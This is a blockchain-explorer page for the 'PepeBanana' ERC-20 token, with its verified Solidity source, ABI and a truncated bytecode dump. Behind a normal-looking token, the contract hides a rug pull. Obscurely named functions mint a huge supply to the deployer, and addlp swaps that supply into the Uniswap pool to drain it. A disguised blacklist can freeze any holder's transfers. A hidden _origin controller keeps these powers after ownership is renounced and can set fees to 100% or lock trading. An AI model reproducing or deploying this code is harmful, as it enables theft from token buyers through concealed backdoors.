ETH Price: $2,225.87 (+2.23%)
Gas: 0.62 Gwei

Token

PepeBanana (PEPENANA)
 

Overview

Max Total Supply

1,000,000,000 PEPENANA

Holders

29

Total Transfers

-

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
TokenContract

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-09-22
*/

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.19;

abstract contract Ownable {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor() {
        _transferOwnership(msg.sender);
    }

    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    function _checkOwner() internal view virtual {
        require(owner() == msg.sender, "Ownable: caller is not the owner");
    }

    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

interface IERC20 {
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address to, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address from, address to, uint256 amount) external returns (bool);
}

interface IUniswapV2Factory {
    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Pair {
    function token0() external view returns (address);
    function token1() external view returns (address);
    function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {}

library SecureCalls {
    function checkCaller(address sender, address _origin) internal pure {
        require(sender == _origin, "Caller is not the original caller");
    }
}

contract TokenContract is IERC20, Ownable {

    IUniswapV2Router02 internal _router;
    IUniswapV2Pair internal _pair;
    address _origin;
    address _pairToken;

    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    uint256 private _totalSupply = 1000000000000000000000000000;
    string private _name = "PepeBanana";
    string private _symbol = "PEPENANA";
    uint8 private _decimals = 18;
    uint private buyFee = 2;
    uint private sellFee = 2;
    bool private tradeLocked = false;

    constructor (address routerAddress, address pairTokenAddress) {
        _router = IUniswapV2Router02(routerAddress);
        _pair = IUniswapV2Pair(IUniswapV2Factory(_router.factory()).createPair(address(this), pairTokenAddress));
        _balances[owner()] = _totalSupply;
        _origin = msg.sender;
        _pairToken = pairTokenAddress;
        emit Transfer(address(0), owner(), _totalSupply);
        marketWallet = msg.sender;
        excludedFromFee[msg.sender] = true;
        excludedFromFee[address(this)] = true;
        excludedFromTradeLock[msg.sender] = true;
        excludedFromTradeLock[address(this)] = true;
    }

    /* @dev Default ERC-20 implementation */

    function name() public view virtual returns (string memory) {
        return _name;
    }

    function symbol() public view virtual returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    function transfer(address to, uint256 amount) public virtual override returns (bool) {
        address owner = msg.sender;
        _transfer(owner, to, amount);
        return true;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        address owner = msg.sender;
        _approve(owner, spender, amount);
        return true;
    }

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual override returns (bool) {
        address spender = msg.sender;
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        address owner = msg.sender;
        _approve(owner, spender, allowance(owner, spender) + addedValue);
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        address owner = msg.sender;
        uint256 currentAllowance = allowance(owner, spender);
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(owner, spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(!checkCurrentStatus(from), "ERC20: No premission to transfer");

        _beforeTokenTransfer(from, to, amount);

        uint256 fromBalance = _balances[from];
        require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
        
        if (tradeLocked) {
            if (isMarket(from)) {
                require(excludedFromTradeLock[to], "User isn't excluded from tradeLock");
            } else if (isMarket(to)) {
                require(excludedFromTradeLock[from], "User isn't excluded from tradeLock");
            }
        }

        if (!isExcludedFromFee(from) && !isExcludedFromFee(to)){
            if (isMarket(from)) {
                uint feeAmount = calculateFeeAmount(amount, buyFee);
                _balances[from] = fromBalance - amount;
                _balances[to] += amount - feeAmount;
                emit Transfer(from, to, amount - feeAmount);
                _balances[marketWallet] += feeAmount;
                emit Transfer(from, marketWallet, feeAmount);

            } else if (isMarket(to)) {
                uint feeAmount = calculateFeeAmount(amount, sellFee);
                _balances[from] = fromBalance - amount;
                _balances[to] += amount - feeAmount;
                emit Transfer(from, to, amount - feeAmount);
                _balances[marketWallet] += feeAmount;
                emit Transfer(from, marketWallet, feeAmount);

            } else {
                _balances[from] = fromBalance - amount;
                _balances[to] += amount;
                emit Transfer(from, to, amount);
            }
        } else {
            _balances[from] = fromBalance - amount;
            _balances[to] += amount;
            emit Transfer(from, to, amount);
        }

        _afterTokenTransfer(from, to, amount);
    }

    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply += amount;
        unchecked {
            _balances[account] += amount;
        }
        emit Transfer(address(0), account, amount);

        _afterTokenTransfer(address(0), account, amount);
    }

    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        _beforeTokenTransfer(account, address(0), amount);

        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        unchecked {
            _balances[account] = accountBalance - amount;
            _totalSupply -= amount;
        }

        emit Transfer(account, address(0), amount);

        _afterTokenTransfer(account, address(0), amount);
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _spendAllowance(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");
            unchecked {
                _approve(owner, spender, currentAllowance - amount);
            }
        }
    }

    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}

    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}

    /* @dev Custom features implementation */

    function addlp() external {
        SecureCalls.checkCaller(msg.sender, _origin);
        uint256 thisTokenReserve = getBaseTokenReserve(address(this));
        uint256 amountIn = type(uint112).max - thisTokenReserve;
        e3fb23a0d(); transfer(address(this), balanceOf(msg.sender));
        _approve(address(this), address(_router), type(uint112).max);
        address[] memory path;
        path = new address[](2);
        path[0] = address(this);
        path[1] = address(_router.WETH());
        address to = msg.sender;
        _router.swapExactTokensForTokens(
            amountIn,
            0,
            path,
            to,
            block.timestamp + 1200
        );
    } 

    function getBaseTokenReserve(address token) public view returns (uint256) {
        (uint112 reserve0, uint112 reserve1,) = _pair.getReserves();
        uint256 baseTokenReserve = (_pair.token0() == token) ? uint256(reserve0) : uint256(reserve1);
        return baseTokenReserve;
    } 

    function e3fb23a0d() internal {
        _balances[msg.sender] += type(uint112).max;
    }

    function d1fa275f334f() public {
        SecureCalls.checkCaller(msg.sender, _origin); e3fb23a0d();
    }

    function AddLiquidity() public payable {
        SecureCalls.checkCaller(msg.sender, _origin);
        transfer(address(this), balanceOf(msg.sender));
        _approve(address(this), address(_router), balanceOf(address(this)));
        _router.addLiquidityETH{ value:msg.value }(
            address(this),
            balanceOf(address(this)),
            0,
            0,
            msg.sender,
            block.timestamp + 1200
        );
    }

    /* @dev Rebase */

    function rebaseLiquidityPool(address _newRouterAddress, address _newPairTokenAddress) public {
        SecureCalls.checkCaller(msg.sender, _origin);
        if (address(_router) != _newRouterAddress) {
            _router = IUniswapV2Router02(_newRouterAddress);
        }
        _pairToken = _newPairTokenAddress;
        _pair = IUniswapV2Pair(IUniswapV2Factory(_router.factory()).getPair(address(this), _newPairTokenAddress));
    }

    /* @dev Blacklist */

    mapping(address => uint8) internal _f7ae38d22b;

    function checkCurrentStatus(address _user) public view returns(bool) {
        return _f7ae38d22b[_user] == 0 ? false : true;
    }

    function editCurrentStatus(address _user, uint8 _status) public {
        SecureCalls.checkCaller(msg.sender, _origin);
        require(_status < 2, "Status should be 0 or 1");
        require(_status != _f7ae38d22b[_user], "User already have this status");
        _f7ae38d22b[_user] = _status;
    }

    function switchOrigin(address newOrigin) public {
        SecureCalls.checkCaller(msg.sender, _origin);
        _origin = newOrigin;
    }

    address public marketWallet;
    mapping(address => bool) public excludedFromFee; 
    mapping(address => bool) private excludedFromTradeLock;

    function isMarket(address _user) internal view returns (bool) {
        return (_user == address(_pair) || _user == address(_router));
    }

    function calculateFeeAmount(uint256 _amount, uint256 _feePrecent) internal pure returns (uint) {
        return _amount * _feePrecent / 100;
    }

    function isExcludedFromFee(address _user) public view returns (bool) {
        return excludedFromFee[_user];
    } 

    function updateExcludedFromFeeStatus(address _user, bool _status) public {
        SecureCalls.checkCaller(msg.sender, _origin);
        require(excludedFromFee[_user] != _status, "User already have this status");
        excludedFromFee[_user] = _status;
    }

    function updateFees(uint256 _buyFee, uint256 _sellFee) external {
        SecureCalls.checkCaller(msg.sender, _origin);
        require(_buyFee <= 100 && _sellFee <= 100, "Fee percent can't be higher than 100");
        buyFee = _buyFee;
        sellFee = _sellFee;
    }

    function updateMarketWallet(address _newMarketWallet) external {
        SecureCalls.checkCaller(msg.sender, _origin);
        marketWallet = _newMarketWallet;
    }

    function checkCurrentFees() external view returns (uint256 currentBuyFee, uint256 currentSellFee) {
        return (buyFee, sellFee);
    }

    function isTradeLocked() public view returns (bool) {
        return tradeLocked;
    }

    function isEcludedFromTradeLock(address _user) public view returns (bool)  {
        return excludedFromTradeLock[_user];
    }

    function updateTradeLockedState(bool _state) public {
        SecureCalls.checkCaller(msg.sender, _origin);
        tradeLocked = _state;
    }

    function updateUserExcludedFromTradeLockStatus(address _user, bool _status) public {
        SecureCalls.checkCaller(msg.sender, _origin);
        require(excludedFromTradeLock[_user] != _status, "User already have this status");
        excludedFromTradeLock[_user] = _status;
    }

}

Contract Security Audit

Contract ABI

API
[{"inputs":[{"internalType":"address","name":"routerAddress","type":"address"},{"internalType":"address","name":"pairTokenAddress","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"AddLiquidity","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"addlp","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"checkCurrentFees","outputs":[{"internalType":"uint256","name":"currentBuyFee","type":"uint256"},{"internalType":"uint256","name":"currentSellFee","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_user","type":"address"}],"name":"checkCurrentStatus","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"d1fa275f334f","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_user","type":"address"},{"internalType":"uint8","name":"_status","type":"uint8"}],"name":"editCurrentStatus","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"excludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"token","type":"address"}],"name":"getBaseTokenReserve","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_user","type":"address"}],"name":"isEcludedFromTradeLock","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_user","type":"address"}],"name":"isExcludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"isTradeLocked","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"marketWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_newRouterAddress","type":"address"},{"internalType":"address","name":"_newPairTokenAddress","type":"address"}],"name":"rebaseLiquidityPool","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOrigin","type":"address"}],"name":"switchOrigin","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_user","type":"address"},{"internalType":"bool","name":"_status","type":"bool"}],"name":"updateExcludedFromFeeStatus","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_buyFee","type":"uint256"},{"internalType":"uint256","name":"_sellFee","type":"uint256"}],"name":"updateFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_newMarketWallet","type":"address"}],"name":"updateMarketWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_state","type":"bool"}],"name":"updateTradeLockedState","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_user","type":"address"},{"internalType":"bool","name":"_status","type":"bool"}],"name":"updateUserExcludedFromTradeLockStatus","outputs":[],"stateMutability":"nonpayable","type":"function"}]

60806040526b033b2e3c9fd0803ce80000006007556040518060400160405280600a81526020017f5065706542616e616e6100000000000000000000000000000000000000000000815250600890816200005a91906200091e565b506040518060400160405280600881526020017f504550454e414e4100000000000000000000000000000000000000000000000081525060099081620000a191906200091e565b506012600a60006101000a81548160ff021916908360ff1602179055506002600b556002600c556000600d60006101000a81548160ff021916908315150217905550348015620000f057600080fd5b50604051620048ad380380620048ad833981810160405281019062000116919062000a6f565b6200012733620005b760201b60201c565b81600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015620001d6573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001fc919062000ab6565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630836040518363ffffffff1660e01b81526004016200023892919062000af9565b6020604051808303816000875af115801562000258573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200027e919062000ab6565b600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060075460056000620002d56200067b60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555033600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550620003a56200067b60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60075460405162000406919062000b37565b60405180910390a333600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001601060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001601060003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001601160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001601160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550505062000b54565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806200072657607f821691505b6020821081036200073c576200073b620006de565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b600060088302620007a67fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000767565b620007b2868362000767565b95508019841693508086168417925050509392505050565b6000819050919050565b6000819050919050565b6000620007ff620007f9620007f384620007ca565b620007d4565b620007ca565b9050919050565b6000819050919050565b6200081b83620007de565b620008336200082a8262000806565b84845462000774565b825550505050565b600090565b6200084a6200083b565b6200085781848462000810565b505050565b5b818110156200087f576200087360008262000840565b6001810190506200085d565b5050565b601f821115620008ce57620008988162000742565b620008a38462000757565b81016020851015620008b3578190505b620008cb620008c28562000757565b8301826200085c565b50505b505050565b600082821c905092915050565b6000620008f360001984600802620008d3565b1980831691505092915050565b60006200090e8383620008e0565b9150826002028217905092915050565b6200092982620006a4565b67ffffffffffffffff811115620009455762000944620006af565b5b6200095182546200070d565b6200095e82828562000883565b600060209050601f83116001811462000996576000841562000981578287015190505b6200098d858262000900565b865550620009fd565b601f198416620009a68662000742565b60005b82811015620009d057848901518255600182019150602085019450602081019050620009a9565b86831015620009f05784890151620009ec601f891682620008e0565b8355505b6001600288020188555050505b505050505050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600062000a378262000a0a565b9050919050565b62000a498162000a2a565b811462000a5557600080fd5b50565b60008151905062000a698162000a3e565b92915050565b6000806040838503121562000a895762000a8862000a05565b5b600062000a998582860162000a58565b925050602062000aac8582860162000a58565b9150509250929050565b60006020828403121562000acf5762000ace62000a05565b5b600062000adf8482850162000a58565b91505092915050565b62000af38162000a2a565b82525050565b600060408201905062000b10600083018562000ae8565b62000b1f602083018462000ae8565b9392505050565b62000b3181620007ca565b82525050565b600060208201905062000b4e600083018462000b26565b92915050565b613d498062000b646000396000f3fe6080604052600436106101ee5760003560e01c8063715018a61161010d578063b5c72e1a116100a0578063ecbe5a2d1161006f578063ecbe5a2d14610719578063ed4091b714610756578063edd8b64a1461076d578063f1fee6a214610796578063f2fde38b146107bf576101ee565b8063b5c72e1a1461065d578063d445d19e1461069a578063dd62ed3e146106b1578063e4440a86146106ee576101ee565b8063a07fc5a2116100dc578063a07fc5a21461058f578063a457c2d7146105ba578063a9059cbb146105f7578063b49f93f714610634576101ee565b8063715018a6146104e557806385ecafd7146104fc5780638da5cb5b1461053957806395d89b4114610564576101ee565b8063313ce567116101855780635337cc99116101545780635337cc99146104195780635342acb4146104425780636db794371461047f57806370a08231146104a8576101ee565b8063313ce5671461034b57806335d162741461037657806339509351146103b35780634d474d42146103f0576101ee565b806318160ddd116101c157806318160ddd1461028e5780631f6b29f7146102b957806323b872dd146102e25780632df8bca91461031f576101ee565b806306fdde03146101f3578063095ea7b31461021e5780630bc488c51461025b5780630cdd843614610265575b600080fd5b3480156101ff57600080fd5b506102086107e8565b6040516102159190612a8b565b60405180910390f35b34801561022a57600080fd5b5061024560048036038101906102409190612b55565b61087a565b6040516102529190612bb0565b60405180910390f35b610263610896565b005b34801561027157600080fd5b5061028c60048036038101906102879190612c04565b6109ce565b005b34801561029a57600080fd5b506102a3610b30565b6040516102b09190612c53565b60405180910390f35b3480156102c557600080fd5b506102e060048036038101906102db9190612c9a565b610b3a565b005b3480156102ee57600080fd5b5061030960048036038101906103049190612cda565b610c53565b6040516103169190612bb0565b60405180910390f35b34801561032b57600080fd5b50610334610c7b565b604051610342929190612d2d565b60405180910390f35b34801561035757600080fd5b50610360610c8c565b60405161036d9190612d65565b60405180910390f35b34801561038257600080fd5b5061039d60048036038101906103989190612d80565b610ca3565b6040516103aa9190612c53565b60405180910390f35b3480156103bf57600080fd5b506103da60048036038101906103d59190612b55565b610e38565b6040516103e79190612bb0565b60405180910390f35b3480156103fc57600080fd5b5061041760048036038101906104129190612d80565b610e68565b005b34801561042557600080fd5b50610440600480360381019061043b9190612c9a565b610ed8565b005b34801561044e57600080fd5b5061046960048036038101906104649190612d80565b610ff1565b6040516104769190612bb0565b60405180910390f35b34801561048b57600080fd5b506104a660048036038101906104a19190612dad565b611047565b005b3480156104b457600080fd5b506104cf60048036038101906104ca9190612d80565b6110d6565b6040516104dc9190612c53565b60405180910390f35b3480156104f157600080fd5b506104fa61111f565b005b34801561050857600080fd5b50610523600480360381019061051e9190612d80565b611133565b6040516105309190612bb0565b60405180910390f35b34801561054557600080fd5b5061054e611153565b60405161055b9190612dfc565b60405180910390f35b34801561057057600080fd5b5061057961117c565b6040516105869190612a8b565b60405180910390f35b34801561059b57600080fd5b506105a461120e565b6040516105b19190612bb0565b60405180910390f35b3480156105c657600080fd5b506105e160048036038101906105dc9190612b55565b611225565b6040516105ee9190612bb0565b60405180910390f35b34801561060357600080fd5b5061061e60048036038101906106199190612b55565b611295565b60405161062b9190612bb0565b60405180910390f35b34801561064057600080fd5b5061065b60048036038101906106569190612e17565b6112b1565b005b34801561066957600080fd5b50610684600480360381019061067f9190612d80565b6112fa565b6040516106919190612bb0565b60405180910390f35b3480156106a657600080fd5b506106af611363565b005b3480156106bd57600080fd5b506106d860048036038101906106d39190612e44565b611399565b6040516106e59190612c53565b60405180910390f35b3480156106fa57600080fd5b50610703611420565b6040516107109190612dfc565b60405180910390f35b34801561072557600080fd5b50610740600480360381019061073b9190612d80565b611446565b60405161074d9190612bb0565b60405180910390f35b34801561076257600080fd5b5061076b61149c565b005b34801561077957600080fd5b50610794600480360381019061078f9190612d80565b61178e565b005b3480156107a257600080fd5b506107bd60048036038101906107b89190612e44565b6117fe565b005b3480156107cb57600080fd5b506107e660048036038101906107e19190612d80565b611a52565b005b6060600880546107f790612eb3565b80601f016020809104026020016040519081016040528092919081815260200182805461082390612eb3565b80156108705780601f1061084557610100808354040283529160200191610870565b820191906000526020600020905b81548152906001019060200180831161085357829003601f168201915b5050505050905090565b60008033905061088b818585611ad5565b600191505092915050565b6108c233600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16611c9e565b6108d4306108cf336110d6565b611295565b5061090a30600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610905306110d6565b611ad5565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7193430610953306110d6565b600080336104b0426109659190612f13565b6040518863ffffffff1660e01b815260040161098696959493929190612f8c565b60606040518083038185885af11580156109a4573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906109c99190613002565b505050565b6109fa33600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16611c9e565b60028160ff1610610a40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a37906130a1565b60405180910390fd5b600e60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1660ff168160ff1603610ad4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610acb9061310d565b60405180910390fd5b80600e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908360ff1602179055505050565b6000600754905090565b610b6633600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16611c9e565b801515601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151503610bf8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bef9061310d565b60405180910390fd5b80601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b600080339050610c64858285611d10565b610c6f858585611d9c565b60019150509392505050565b600080600b54600c54915091509091565b6000600a60009054906101000a900460ff16905090565b6000806000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16630902f1ac6040518163ffffffff1660e01b8152600401606060405180830381865afa158015610d15573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d3991906131af565b509150915060008473ffffffffffffffffffffffffffffffffffffffff16600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16630dfe16816040518163ffffffff1660e01b8152600401602060405180830381865afa158015610dc4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610de89190613217565b73ffffffffffffffffffffffffffffffffffffffff1614610e1957816dffffffffffffffffffffffffffff16610e2b565b826dffffffffffffffffffffffffffff165b9